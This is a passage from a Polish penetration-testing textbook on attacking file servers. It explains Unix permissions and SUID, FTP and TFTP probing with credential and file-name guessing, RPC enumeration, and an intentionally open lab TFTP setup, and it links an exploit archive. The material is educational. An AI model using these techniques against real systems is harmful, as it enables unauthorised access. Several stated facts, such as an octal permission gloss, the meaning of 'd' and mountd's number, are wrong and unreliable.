jących pliki powoduje, że są one atrakcyjnym celem ataków. Złośliwi hakerzy mogą próbować prze-
łamać zabezpieczenia sieci, aby zyskać możliwość przechowywania w niej własnych plików, na
przykład ze złośliwym oprogramowaniem, listami nazw użytkowników i haszy haseł oraz pirac-
kiego oprogramowania. Innym powodem ataków na takie sieci i hosty jest fakt, że mogą one prze-
chowywać interesujące i wrażliwe informacje, które powinny być dostępne wyłącznie dla autory-
zowanych użytkowników. Problemy powodują nie tylko złośliwi hakerzy próbujący uzyskać dostęp
do sieci. Innego rodzaju kłopoty wynikają z tego, że pracownicy firmy chętnie nadużywają dostęp-
nej przestrzeni dyskowej, przechowując na niej własne, prywatne pliki, takie jak pobrane filmy,
muzyka, gry i inne. Takie przypadki zdarzają się całkiem często, a każdy z nich potencjalnie może
wprowadzić złośliwe oprogramowanie do wewnętrznej sieci organizacji.

Uprawnienia do plików
Teraz przeanalizujemy dokładniej model uprawnień do plików istniejący w uniksowych systemach
operacyjnych, takich jak Linux. Będzie to nam potrzebne, ponieważ wkrótce będziemy wykorzysty-
wać niepoprawnie ustawione uprawnienia oraz dziwne zachowania tego modelu. Uprawnienia do
pliku opisują, którzy użytkownicy systemu lub sieci mogą uzyskać dostęp do danego pliku z okre-
ślonym poziomem kontroli. Uprawnienia do plików są definiowane przez implementację systemu
plików, taką jak system plików ext (ang. extended file system), która została utworzona specjalnie na
potrzeby jądra systemu Linux. Ten system plików istnieje już w wielu różnych wersjach rozbudo-
wujących oryginał, takich jak ext2, ext3 i ext4. W systemach Microsoft Windows najczęściej uży-
wany jest system plików NTFS (New Technology Sile System), natomiast w systemach operacyjnych
firmy Apple, takich jak macOS, używany jest system plików HFS+ (Hierarchical File System Plus).
Te „konkretne” systemy plików zwykle są przekształcane w wirtualny system plików (VFS — virtual
file system), co pozwala systemowi operacyjnemu i działającym w nim aplikacjom stosować ujed-
noliconą metodę dostępu do konkretnego systemu plików. Taka warstwa pośrednia pozwala też na
udostępnianie zdalnych zasobów na lokalnym komputerze, korzystanie z nich i traktowanie ich
tak, jakby były one częścią lokalnego systemu. Różne systemy operacyjne korzystają z różnych sys-
temów plików, dlatego bardzo użyteczne jest istnienie pewnej zgodności między nimi. Wspólną cechą
jest system uprawnień do plików definiowany przez wirtualny system plików. Mniej interesują nas
niskopoziomowe mechanizmy wykorzystywane przez różne implementacje systemów plików.

3681988c430c7fe1e8567c4e2f281f7b
3
298 Rozdział 9  Pliki i współdzielenie plików

Trzeba przy tym pamiętać, że systemy plików są bardzo zróżnicowane, ale większość funkcji doty-
czących uprawnień do plików, jakie będziemy tu omawiać, jest kompatybilna z wieloma różnymi
implementacjami.
Jeżeli w maszynie wirtualnej Kali Linux w katalogu głównym użytkownika root wpiszesz pole-
cenie ls -l, to zobaczysz taką listę:
drwxr-xr-x 2 root root 4096 03-07 23:34 Dokumenty
drwxr-xr-x 2 root root 4096 03-07 23:34 Muzyka
drwxr-xr-x 2 root root 4096 05-26 22:12 Obrazy
drwxr-xr-x 2 root root 4096 05-26 22:09 Pobrane
drwxr-xr-x 2 root root 4096 03-07 23:34 Publiczny
drwxr-xr-x 2 root root 4096 03-07 23:34 Pulpit
drwxr-xr-x 2 root root 4096 03-07 23:34 Szablony
drwxr-xr-x 2 root root 4096 03-07 23:34 Wideo

Na tej liście znajdują się podkatalogi z katalogu głównego, które istnieją w wielu dystrybucjach
Linuksa. Teraz przyjrzymy się ciągowi liter zaczynającemu każdy z wierszy tego wydruku (drwxr-xr-x).
Każdy z katalogów wypisanych w tej liście ma dokładnie ten sam zestaw bitów trybu plików (ang.
file mode bits), tego samego właściciela (root) oraz tę samą grupę (root). W uniksowych systemach
operacyjnych katalogi (czasami nazywane też folderami) również są plikami. Co więcej, w syste-
mach UNIX i Linux pliki reprezentują praktycznie wszystko, w tym i urządzenia do przechowywania
danych, takie jak dyski twarde (HDD) oraz dyski półprzewodnikowe (SSD), ale też urządzenia audio,
adaptery sieciowe i wiele innych. Jeżeli utworzysz nowy plik poleceniem touch plik, to w aktual-
nym katalogu utworzony zostanie nowy, pusty plik o nazwie plik, któremu przypisany zostanie
domyślny zestaw bitów trybu pliku.

Domyślny zbiór bitów trybu pliku definiowany jest przez wartość zmiennej umask
danego użytkownika, którą można zmieniać za pomocą polecenia umask.

Uruchomienie teraz polecenia ls -l spowoduje wyświetlenie tej samej listy co poprzednio,

uzupełnionej o wiersz opisujący nowy plik:
-rw-r--r-- 1 root root 0 03-16 11:57 plik

Każdy plik ma swój własny zestaw bitów (to bity trybu pliku) opisujący to, co różni użytkownicy
mogą robić z danym plikiem. W powyższym przykładzie te bity otrzymały wartość -rw-r--r--.
Oznacza to, że właściciel pliku może go zarówno odczytywać (r), jak i zapisywać (w), użytkownicy
z grupy tego pliku mogą go wyłącznie odczytywać, natomiast pozostali użytkownicy również mogą
go tylko odczytywać. Bity trybu pliku zostały podzielone na trzy sekcje, po jednej dla uprawnień
właściciela, grupy właściciela oraz pozostałych. Zaraz za bitami trybu pliku widoczna jest nazwa
użytkownika będącego właścicielem tego pliku oraz nazwa grupy tego pliku (w tym przypadku za-
równo właściciel, jak i grupa noszą nazwę root). Poszczególne bity trybu można włączać i wyłączać
za pomocą polecenia chmod, które jest skrótem od słów change mode, czyli zmień tryb. Istnieje wiele
metod użycia polecenia chmod, ale jedną z powszechniejszych jest forma chmod 400 plik. W ten
sposób zmieniamy bity trybu pliku na wartość 400. Ta liczba jest ósemkową reprezentacją tych
bitów. Wskazane polecenie ma następujący wpływ na plik:
-r-------- 1 root root 0 03-16 11:57 plik

3681988c430c7fe1e8567c4e2f281f7b
3
Uprawnienia do plików 299

Ten plik jest od teraz plikiem tylko do odczytu i to wyłącznie przez jego właściciela. Odczytanie
zawartości tego pliku jest możliwe wyłącznie dla użytkownika root, ale i on nie może do niego nic
zapisać ani go uruchomić. Pozostaje pytanie, w jaki sposób wartość 400 może mieć taki wpływ na plik.
Bity trybu pliku mogą być jedynie włączone lub wyłączone, co jest reprezentowane binarną liczbą
1 lub 0. Aby uzyskać ósemkową reprezentację, trzeba połączyć bity tak, żeby uzyskać trzy cyfry
ósemkowe. Każda z takich cyfr definiuje wtedy unikalny zbiór uprawnień:
0 — brak uprawnień (---),
1 — wyłącznie wykonywanie (--x),
2 — wyłącznie zapisywanie (-w-),
3 — zapisywanie i wykonywanie (-wx),
4 — wyłącznie odczytywanie (r--),
5 — odczytywanie i wykonywanie (r-x),
6 — odczytywanie i wykonywanie (rw-),
7 — odczytywanie, zapisywanie i wykonywanie (rwx).
Ten sam wzorzec bitowy używany jest wobec użytkownika, grupy i wszystkich, dlatego można
stosować takie polecenia jak chmod 744, co jest równoważne ze zbiorem uprawnień -rwxr--r--.
Jeżeli są to dla Ciebie nowe informacje, to może Ci się wydawać, że jest to niepotrzebnie skompli-
kowana metoda reprezentacji uprawnień do pliku. Wystarczy jednak, że zaczniesz częściej używać
polecenia chmod w połączeniu z podaną tu ósemkową reprezentacją, a szybko okaże się, że jest ona
w istocie całkiem prosta, a może nawet intuicyjna. Na rysunku 9.1 przedstawiamy sposób uławia-
jący zrozumienie znaczenia poszczególnych kombinacji bitów.

Rysunek 9.1. Uprawnienia do pliku w systemach uniksowych

Całość nieco się komplikuje, gdy weźmiemy pod uwagę, że dodatkowo istnieje też kilka „ukrytych”
bitów, takich jak SUID (set user ID), SGID (set group ID), znacznik ograniczonego usuwania (ang.
restricted deletion flag) lub lepki bit (ang. sticky bit), które są używane w zależności od aktualnego
kontekstu. Pierwsza cyfra ósemkowa jest używana do definiowania i prezentowania tych bitów, ale
jest ona często pomijana. Na przykład, aby ustawić dla pliku znacznik SUID, należy posłużyć się
poleceniem chmod 4777.

3681988c430c7fe1e8567c4e2f281f7b
3
300 Rozdział 9  Pliki i współdzielenie plików

Bit SUID ma szczególne znaczenie, dlatego w dalszej części tego rozdziału będziemy dokładniej
analizować tę funkcję systemu plików. Jeżeli zostanie on włączony (lub ustawiony), to oznacza, że
gdy dany plik zostanie uruchomiony, będzie działał z uprawnieniami właściciela pliku. Oznacza to,
że jeżeli ten bit jest włączony dla pliku, którego właścicielem jest użytkownik root, to każdy, nawet
anonimowy użytkownik, może ten plik uruchomić i będzie on działał z prawami użytkownika root.
Ten fakt tworzy ciekawe możliwości ataków związanych z podniesieniem uprawnień, o których
będziemy mówić w dalszej części tego rozdziału.
Bit SGID działa w ten sam sposób, ale odnosi się do grupy danego pliku. Z kolei lepki bit jest
dzisiaj raczej tylko pozostałością przestarzałej funkcji. Był on używany do zachowywania obrazu pro-
gramu w systemowej przestrzeni wymiany, co umożliwiało szybsze uruchamianie go na później-
szym etapie. Lepki bit dotyczy zatem wyłącznie plików, ale nie dotyczy katalogów. W przypadku
katalogów ten sam bit nosi nazwę bitu ograniczonego usuwania, który można włączyć, aby unie-
możliwić użytkownikom usuwanie plików z tego katalogu i zmienianie ich nazw. Jedynie właściciel
takiego katalogu lub znajdujących się w nim plików może wykonywać w nim te operacje. Domyśl-
nie bit ograniczonego usuwania jest włączany przy tworzeniu nowego katalogu. Można zobaczyć,
że tak jest, w listingu wypisywanym przez polecenie ls, ponieważ jest on reprezentowany przez
literę d znajdującą się na początku literowego opisu uprawnień do pliku, tak jak poniżej:
drwxr-xr-x 2 root root 4096 03-25 18:26 Wideo

Istnieje możliwość uzyskania dostępu do dowolnego pliku znajdującego się

w danym katalogu, nawet jeżeli nie mamy uprawnień do odczytywania tego katalogu, co
uniemożliwia użytkownikom wypisywanie jego zawartości. Jeżeli jednak użytkownik ma
prawo do wykonywania tego katalogu, to może do niego przejść i uzyskać bezpośredni do-
stęp do plików, bez wypisywania ich listy, co wymaga uprawnień do odczytu katalogu.
Można zatem użyć ataku siłowego do zgadywania nazw plików w katalogu, przez co ataku-
jący może uzyskać dostęp do zawartości plików, które teoretycznie powinny być niedo-
stępne. Exploit wykorzystujący tę możliwość można pobrać z adresu: https://github.com/
hackerhouse-opensource/exploits/blob/master/prdelka-vs-UNIX-permissions.tar.gz.

Narzędzia do hakowania urządzeń NAS

Oprócz narzędzi, których używaliśmy już wcześniej, istnieje też kilka specjalizowanych programów
przeznaczonych lub po prostu nadających się do hakowania serwerów plików.
 Klienty protokołów FTP i TFTP z interfejsem graficznym i działające w wierszu poleceń.
 Narzędzia do odpytywania serwisów RPC (Remote Procedure Call — zdalne wywoływanie
procedur), takie jak RPCinfo lub RPCclient.
 Narzędzia do odczytywania informacji NetBIOS (NTBscan).
 Enum4Linux, czyli narzędzie do enumerowania informacji z systemów firmy Microsoft,
które działa w systemach linuksowych.
 Narzędzia do sondowania protokołu SNMP, takie jak SNMPwalk i OneSixtyOne.
 Linuksowe narzędzia i klienty do obsługi plików, takie jak Mount, ShowMount i Rsync.

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie portów serwera plików 301

Skanowanie portów serwera plików

Do skanowania portów serwera plików możesz używać tych samych technik, których używaliśmy
w poprzednich rozdziałach. Spójrz teraz na wynik skanowania programem Nmap, które przepro-
wadzono na pewnym serwerze z jedną podatnością, na którym działa kilka różnych serwisów udo-
stępniania plików.
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-29 11:12 BST
Nmap scan report for 192.168.48.104
Host is up (0.00013s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
631/tcp open ipp
873/tcp open rsync
2049/tcp open nfs
MAC Address: 08:00:27:C8:84:67 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.15 seconds

W tym rozdziale możesz ćwiczyć prezentowane techniki i narzędzia, używając laboratorium

z serwerem pocztowym oraz laboratorium tej książki. Żaden z tych serwerów nie udostępnia tych
samych otwartych portów, które zostały wypisane powyżej, ale z pewnością zauważysz, że część
z nich pojawia się i w laboratoriach. Na serwerze pocztowym działa też serwis FTP, którym nie
interesowaliśmy się podczas pierwszych ćwiczeń z tym serwerem, ale teraz przyjrzymy się mu do-
kładniej. Pamiętaj, że w swojej maszynie wirtualnej możesz instalować dodatkowe oprogramowanie.
Jeżeli została ona zbudowana z wykorzystaniem systemu Ubuntu, co sugerowaliśmy w rozdziale
poświęconym usłudze DNS, to zauważysz, że polecenie apt umożliwia łatwe dodawanie różnych
usług udostępniania plików.

Protokół FTP
Definicja protokołu FTP zapisana jest w dokumencie RFC 959, który został napisany w 1985 roku.
Oryginalna specyfikacja protokołu, która dzisiaj nie jest już używana, pochodzi z 1980 roku i znaj-
duje się w dokumencie RFC 756. Wzmianki protokołu do przesyłania plików można znaleźć
w jeszcze starszym dokumencie — RFC 114 z 1971 roku. Użytkownicy internetu nawet dzisiaj ko-
rzystają z protokołu FTP, choć już nie aż tak często jak dawniej. Domyślnym portem protokołu
FTP jest port TCP 21. Serwer FTP można skonfigurować tak, żeby umożliwiał anonimowy dostęp,
co oznacza, że każdy będzie mógł pobrać dokumenty z tego serwera. Ta funkcja miała na celu pu-
bliczne udostępnianie wybranych zasobów, dlatego do dzisiaj jest częścią niektórych pakietów
oprogramowania. FTP jest protokołem jawnym, podobnie jak protokoły DNS, SMTP i HTTP,
co oznacza, że jest podatny na ataki typu man-in-the-middle. Możliwe jest połączenie tego pro-
tokołu z protokołami SSL lub TLS, ale zwykle używa się go bez warstwy szyfrującej. Oznacza to,
że przesyłane pliki mogą zostać przechwycone podczas przesyłania przez sieć, podobnie jak i nazwy

3681988c430c7fe1e8567c4e2f281f7b
3
302 Rozdział 9  Pliki i współdzielenie plików

użytkowników oraz hasła używane, aby uzyskać dostęp do serwera wymagającego uwierzytelniania.
Mało prawdopodobne jest, żeby pracownicy firmy głównie w ten sposób przesyłali między sobą
pliki i dokumenty. Samo używanie tego protokołu jest uciążliwe i niezupełnie intuicyjne. Istnieje też
wiele pochodnych protokołów, takich jak FTPS (FTP Secure), TFTP (Trivial FTP) lub SFTP (Simple
FTP). Oprócz tego istnieje też protokół FTP over SSH (który również opisywany jest skrótem SFTP).
Laboratorium z serwerem pocztowym udostępnia też usługę FTP działającą na domyślnym
porcie TCP 21, którą nie zajmowaliśmy się przy pierwszych pracach. Teraz możemy przyjrzeć się
dokładniej tej usłudze i użyjemy tego protokołu za pomocą programu Netcat. Chyba pamiętasz
jeszcze, jak połączyć się z wybranym portem za pomocą polecenia nc? Spróbuj użyć polecenia nc
<AdresIP> 21. Jeżeli uda się połączyć, to na ekranie powinna pojawić się wiadomość powitalna
podobna do poniższej (a za nią znak zachęty):
220 ProFTPD 1.3.3a Server (Private FTPd) [192.168.48.104]

Teraz znasz już nazwę oprogramowania serwera oraz numer wersji, a zatem możesz użyć ich
w poszukiwaniach w programach Searchsploit i Metasploit. Polecenie help spowoduje wyświetle-
nie listy poleceń obsługiwanych przez oprogramowanie serwera. Możesz też spróbować się do niego
zalogować, używając poleceń protokołu FTP o nazwie user i pass. Najpierw spróbuj użyć polecenia
user anonymous, uzupełnionego poleceniem pass foo@przyklad.pl (ta usługa wymaga, żeby jako
hasło został podany adres e-mail). Możesz też spróbować użyć nazwy użytkownika ftp, która czę-
sto umożliwia anonimowy dostęp. Jeżeli serwer FTP jest skonfigurowany tak, żeby umożliwiać
anonimowy dostęp, to takie dane uwierzytelniające zwykle działają. Jednak nie w tym przypadku.
Zamiast uzyskać dostęp do serwera, zobaczysz jedynie kod błędu 530 oraz komunikat Login incorrect,
tak jak poniżej:
220 ProFTPD 1.3.3a Server (Private FTPd) [192.168.48.104]
user anonymous
331 Anonymous login ok, send your complete email address as your
password
pass foo@foo.com
530 Login incorrect.

Czasami udaje się jednak natknąć na serwer umożliwiający anonimowy dostęp, a wtedy na
ekranie zobaczysz komunikaty podobne do poniższych. W tym przypadku wprowadziliśmy nazwę
użytkownika anonymous razem z hasłem anonymous.
220 welcome to fileserver01 ftp service
user anonymous
331 Please specify the password.
pass anonymous
230 Login successful.

Inną metodą sondowania usługi FTP jest wykorzystanie klienta FTP działającego w wierszu
poleceń albo klienta z interfejsem graficznym. Jeżeli nie masz jeszcze zainstalowanego klienta
w systemie Kali Linux, użyj polecenia apt install ftp. Teraz spróbuj połączyć się z usługą FTP
działającą na serwerze pocztowy, używając tego polecenia: ftp <AdresIP>. Na ekranie powinny po-
jawić się poniższe komunikaty, które są zachętą do podania nazwy użytkownika:
Connected to 192.168.48.104.
220 ProFTPD 1.3.3a Server (Private FTPd) [192.168.48.104]
Name (192.168.48.104:root):

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół TFTP 303

Dostęp do tej usługi FTP uzyskasz, podając nazwę użytkownika i hasło, które poznaliśmy pod-
czas wcześniejszych ćwiczeń z tym laboratorium. Poniżej przedstawiamy komunikaty wyświetlane
po wprowadzeniu nazwy użytkownika peterp, który (tak przy okazji) stosuje wyjątkowo łatwe do
zgadnięcia hasło (nie wyświetlamy go w poniższym wydruku):
331 Password required for peterp
Password:
230 User peterp logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Po uzyskaniu dostępu możesz spróbować użyć kolejnych poleceń, takich jak ls wypisujące za-
wartość katalogu albo cd, które pozwala na zmianę aktualnego katalogu. W tym systemie masz
możliwość łatwego przeglądania i badania zawartości katalogów głównych jego poszczególnych
użytkowników. Lista tych katalogów wyświetlona przez klienta FTP wygląda następująco:
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwx------ 2 charliew charliew 79 May 11 2017 charliew
drwx------ 2 jennya jennya 66 May 11 2017 jennya
drwx------ 2 johnk johnk 66 May 11 2017 johnk
drwx------ 2 peterp peterp 66 May 11 2017 peterp
drwx------ 2 roberta roberta 66 May 11 2017 roberta
drwx------ 2 sarahk sarahk 66 May 11 2017 sarahk
226 Transfer complete

Protokół TFTP
Jeżeli protokół, który w nazwie ma słowo trywialny, powoduje Twoje zaciekawienie, to zapewne
znaczy, że myślisz jak prawdziwy haker! Owszem, protokół TFTP (Trivial File Transfer Protocol)
jest równie łatwy do zhakowania, jak prosta jest jego implementacja (więcej szczegółów znajdziesz
w dokumencie RFC 1350). Sam protokół został zaprojektowany tak, żeby jego zaimplementowanie
nie nastręczało trudności, ale nie poświęcano w nim uwagi sprawom bezpieczeństwa ani solidności,
dlatego raczej nie powinno się używać go do przesyłania istotnych plików. Działa on na porcie
UDP 69, a zatem wymaga jakiegoś sposobu potwierdzenia, że dane zostały przesłane i odebrane.
Protokół UDP, w przeciwieństwie do protokołu TCP, nie jest w stanie zagwarantować takiego po-
twierdzenia, co sugeruje, że całość działa na zasadzie jedynie próby skutecznego przesłania pliku
do docelowego komputera. W ramach radzenia sobie z tym problemem protokół TFTP używa roz-
wiązania w informatyce nazywanego krokiem marszowym (ang. lockstep).
Samo pojęcie kroku marszowego pochodzi ze sposobu, w jaki żołnierze maszerują w trakcie
parady. W protokole TFTP pliki są przesyłane po jednym pakiecie, a za każdym razem, gdy jeden
pakiet zostanie odebrany przez komputer docelowy, ten musi go skontrolować, zanim przystąpi do
kolejnego kroku. Każdy krok przesyłania pliku jest zatem blokowany do czasu, gdy pojawi się moż-
liwość wykonania kolejnego kroku. Zazwyczaj protokołu TFTP używa się podczas uruchamiania
komputera z sieci, który to proces wykorzystuje urządzenia wyposażone w funkcję PXE (Preboot
eXecution Environment). Ten skrót wymawia się jak „piksi”. Implementacja tego protokołu na ma-
łych urządzeniach nie sprawia żadnego kłopotu i mieści się nawet na zwykłej karcie sieciowej.

3681988c430c7fe1e8567c4e2f281f7b
3
304 Rozdział 9  Pliki i współdzielenie plików

Nie wymaga ona wiele miejsca w pamięci urządzenia. Jedną z ciekawszych cech protokołu TFTP
jest to, że nazwy plików można zgadywać metodami siłowymi. Przykładami często stosowanych
plików mogą być nazwy config, bios.bin, boot.bin, running-config albo startup-config.
Czasami protokół TFTP jest konfigurowany tak, że umożliwia użytkownikowi zapisywanie pli-
ków, ale domyślnie nie jest wyposażony w funkcje uwierzytelniania. To bardzo niebezpieczna kom-
binacja, ponieważ anonimowy haker będzie w stanie przesłać na serwer złośliwe oprogramowanie.
Zdarza się też, że na serwerze TFTP znajdują się tajne informacje o konfiguracji różnych urządzeń
używanych w sieci.
Sprawdźmy zatem, co można zobaczyć, jeżeli na badanym hoście uda się wykryć działającą
usługę TFTP. Po zainstalowaniu klienta za pomocą polecenia apt install tftp możesz użyć po-
lecenia tftp <AdresIP>, aby uruchomić zainstalowany program. Następnie po znaku zachęty wpisz
znak zapytania (?), aby wyświetlić tekst pomocy. Aby przystąpić do pobierania pliku, użyj polece-
nia get <NazwaPliku>. Możesz spróbować pobrać plik config. Jeżeli ten plik nie istnieje, to w odpo-
wiedzi otrzymasz następujący komunikat:
Error code 1: File not found

Jeżeli jednak taki plik istnieje na serwerze, to na ekranie pojawi się inna informacja:
Received 1747 bytes in 0.0 seconds

Istnieje cały zbiór narzędzi do siłowych ataków na protokół TFTP, z których jedno jest dostępne we
frameworku Metasploit. Jeżeli chcesz poeksperymentować i dowiedzieć się więcej na temat tego pro-
tokołu, to możesz zainstalować demona TFTP w maszynie wirtualnej Ubuntu Server. Upewnij się, że
zainstalowane są pakiety xinetd oraz ftfpd. Następnie trzeba utworzyć plik konfiguracyjny i umieścić
go we właściwej lokalizacji, co można zrobić za pomocą polecenia sudo nano /etc/xinetd.d/tftpd.
Wewnątrz tak utworzonego pliku umieść poniższy tekst:
service tftp
{
protocol = udp
port = 69
socket_type = dgram
wait = yes
user = nobody
server = /usr/sbin/in.tftpd
server_args = /tftp_test
disable = no
}

Po uruchomieniu serwer TFTP będzie udostępniał pliki z katalogu zapisanego w zmiennej

server_args, czyli w tym przypadku będzie to katalog /tfpt_test (odpowiedni wiersz został wyróż-
niony w powyższym wydruku). Teraz trzeba jeszcze utworzyć ten katalog, na przykład za pomocą
polecenia sudo mkdir /tfpt_test. Następnie zmień jeszcze bity trybu dla samego katalogu i wszyst-
kich umieszczonych w nim plików, używając polecenia chmod -R 777 /tftp_test. Opcja -R naka-
zuje poleceniu chmod pracę rekursywną. Następnie zezwól wszystkim na dostęp do tego katalogu.
Użyj w tym celu polecenia sudo chown -R nobody /tftp_test. W ten sposób zmieniasz właściciela
katalogu tftp_test na nobody, co oznacza, że katalog nie ma właściciela. Tutaj również opcja -R
nakazuje działanie rekursywne. Na zakończenie uruchom serwis xinetd, używając polecenia
service xinetd restart . W katalogu /tftp_test utwórz nowy plik, który teraz powinien być

3681988c430c7fe1e8567c4e2f281f7b
3
Zdalne wywoływanie procedur 305

dostępny z maszyny wirtualnej Kali Linux za pośrednictwem klienta TFTP. Możesz też spróbować
zaatakować serwer TFTP działający w laboratorium tej książki, który zawiera kilka plików o na-
zwach łatwych do odgadnięcia dla użytkownika systemu Linux!

Zdalne wywoływanie procedur

Czy kiedykolwiek zdarzyło Ci się próbować edycji dokumentu znajdującego się na udziale siecio-
wym i przy takiej próbie zobaczyć komunikat „Plik ma zablokowaną możliwość edytowania”?
To jeden z przypadków, w których wykorzystywana jest funkcja zdalnego wywoływania procedur
(RPC — Remote Procedure Call). Ta funkcja jest wykorzystywana przez programy do uruchamiania
procedur lub funkcji znajdujących się na zdalnym hoście, traktując je w taki sposób, jakby były one
normalnymi, lokalnymi procedurami. Innymi słowy, wyobraź sobie program, który najpierw wy-
szukuje plik znajdujący się na zdalnym hoście, następnie sprawdza, czy nie jest on zablokowany,
a jeżeli nie jest, to sam blokuje go na potrzeby wprowadzania zmian. W tym celu program musi
uruchomić specjalną procedurę o nazwie podobnej do CheckLock(NazwPliku). Z perspektywy pro-
gramisty ta procedura może działać zarówno zdalnie, jak i lokalnie, ale dla samego programu nie
powinno to mieć żadnego znaczenia. Gdy wykonywane jest wywołanie RPC, do zdalnego hosta
wysyłane jest żądanie, a procedura CheckLock(NazwaPliku) uruchamiana jest zdalnie, natomiast
lokalny program oczekuje na odpowiedź. Po pewnym czasie zdalny host prześle odpowiedź, na
przykład wartość True oznaczającą, że plik jest zablokowany, lub wartość False, jeżeli plik nie ma
blokady. Funkcje RPC nie są używane wyłącznie przez serwery plików i na potrzeby ich obsługi,
ale ten system udostępnia pewne ważne funkcje wspomagające udostępnianie plików w sieci.
Należy tu zaznaczyć, że RPC nie jest protokołem, ale modelem, a zatem istnieje wiele różnych i nie-
zgodnych ze sobą implementacji tej idei. Mimo to istnieją specjalne protokoły, takie jak Open
Network Computing (ONC) RPC protocol, z którego będziemy tutaj korzystać, a który został opi-
sany w dokumencie RFC 5531. Często protokół ONC RPC nazywany jest po prostu protokołem
RPC. Tak będziemy robić również w tej książce, choć czasami wprowadza to pewne dwuznaczno-
ści, ponieważ istnieją też protokoły RPC firmy Microsoft, którym również będziemy się przyglądać.
Trzeba jeszcze pamiętać o tym, że techniki RPC nie zawsze służą do wywoływania procedur
działających na fizycznie zdalnym hoście. W niektórych przypadkach metody RPC wykorzysty-
wane są do wywoływania procedur znajdujących się na tym samym hoście, ale w innej wirtualnej
przestrzeni adresowej. W takich przypadkach czasami mówi się o lokalnym wywoływaniu procedur
(LPC — local procedurę call).
Być może znasz już usługę działającą na porcie RCP 111, która nosi nazwę rpcbind lub
portmapper. Pamiętasz na pewno, że nazwa rpcbind pojawiała się w wykonanym wcześniej skanie
portów serwera plików. Wiersz z tą nazwą wyglądał tak:
111/tcp open rpcbind

RPCbind jest narzędziem ze zbioru ONC RPC, które działa na serwerze i nasłuchuje, oczekując
na przychodzące żądania RPC. Ta usługa nie zajmuje się obsługiwaniem tych żądań, ale przekazuje
je na właściwy port na serwerze. Mówiąc inaczej, odwzorowuje lub wiąże ona numery programów
RPC z portami, na których nasłuchują serwisy odpowiedzialne za obsługę konkretnych żądań.
Numery programów są używane przez narzędzia RPC do oznaczania ogromnej liczby różnych

3681988c430c7fe1e8567c4e2f281f7b
3
306 Rozdział 9  Pliki i współdzielenie plików

funkcji, które może obsłużyć dana usługa. Na przykład program o numerze 100021 jest sieciowym
menedżerem blokad, który nosi skróconą nazwę nlockmgr. Ta konkretna usługa jest odpowie-
dzialna za przetwarzanie wywołań pochodzących od klientów w celu blokowania wskazanego pliku
(co oznacza uniemożliwienie edycji innym użytkownikom). Program o numerze 100021 jest odwzo-
rowywany przez usługę RPCbind na port, pod którym działa usługa nlockmgr. Program nlockmgr
jest częścią systemu NFS (Network File System), która jest często wykorzystywana do współdzielenia
plików między systemami uniksowymi.
Istnieje wiele innych programów z własnymi numerami RPC, ale na razie skupimy się na tych,
które są w jakiś sposób powiązane ze współdzieleniem plików. Co więcej, swój własny numer (100000)
ma również program RPCbind, czyli ten odpowiedzialny za odwzorowywanie numerów programów
na numery portów. System NFS otrzymał numer programu 100003, natomiast usługa używana do
obsługi montowania sieciowych folderów NFS, o nazwie mountd (demon montowania), ma numer
programu 100003. Kolejną ważną usługą używaną przy współdzieleniu plików jest statd (demon
statusu), korzystająca z numeru programu 100024.
Dobrze jest zainstalować bardzo przydatny pakiet (zarówno w ćwiczebnej maszynie wirtualnej
Ubuntu, jak i w systemie Kali Linux) o nazwie nfs-common (użyj do tego polecenia sudo apt install
nfs-common). W tym pakiecie znajduje się kilka przydatnych narzędzi, w tym i RPCbind.
Jak można się domyślić, usługi RPC są bardzo interesującym kąskiem dla hakerów. W końcu
są przeznaczone do tego, żeby uruchamiać kod na innych komputerach w sieci. Co więcej, cały ten
interfejs jest zaprojektowany do takiej pracy. Jest nieco skomplikowany z powodu zróżnicowanych
protokołów, ich różnych wersji oraz niezliczonych implementacji tych protokołów, które mają re-
alizować proste zadanie współdzielenia plików w sieci! Niestety zwiększone skomplikowanie po-
woduje też nieporozumienia, a to oznacza podatny grunt dla działań złośliwych hakerów. Najlepiej
byłoby, żeby to nam udało się zidentyfikować możliwości włamywania się do systemu i zgłosić je
klientowi, zanim wykorzysta je ktoś o nieprzyjaznych zamiarach.

RPCinfo
Możesz używać takiego narzędzia jak RPCinfo, aby zbadać, jakie możliwości oferuje zdalny host
w ramach usług RPC. Spróbuj użyć polecenia rpcinfo -p <AdresIP>, które (pod warunkiem że pod
tym adresem działa usługa RPCbind) wyświetli informacje podobne do poniższych. Te dane po-
chodzą z popularnego systemu NAS:
program vers proto port service
100000 4 tcp 111 portmapper
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper
100000 4 udp 111 portmapper
100000 3 udp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 50830 status
100024 1 tcp 55874 status
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100227 2 tcp 2049

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół SMB 307

100227 3 tcp 2049

100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100227 2 udp 2049
100227 3 udp 2049
100021 1 udp 35882 nlockmgr
100021 3 udp 35882 nlockmgr
100021 4 udp 35882 nlockmgr
100021 1 tcp 45930 nlockmgr
100021 3 tcp 45930 nlockmgr
100021 4 tcp 45930 nlockmgr
100005 1 udp 60976 mountd
100005 1 tcp 37269 mountd
100005 2 udp 45547 mountd
100005 2 tcp 57577 mountd
100005 3 udp 39685 mountd
100005 3 tcp 51681 mountd

Usługa portmapper jest bardzo podobna do usługi RPCbind, choć poszczególne narzędzia
w różny sposób informują o tej samej usłudze. Na tym hoście są dostępne dodatkowe programy,
które są powiązane z systemem NFS. Do wykrywania i podawania informacji o usługach RPC
można też użyć programu Nmap, o ile poda się mu właściwe opcje (opcja -A jest dobrym wyborem,
ponieważ włącza ona wykrywanie numeru wersji usługi RPC). Działanie takiego skanowania pre-
zentujemy poniżej, choć zostało ono wykonane na innym hoście (spróbuj przeskanować w ten spo-
sób maszynę wirtualną Ubuntu Server albo laboratorium tej książki):
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
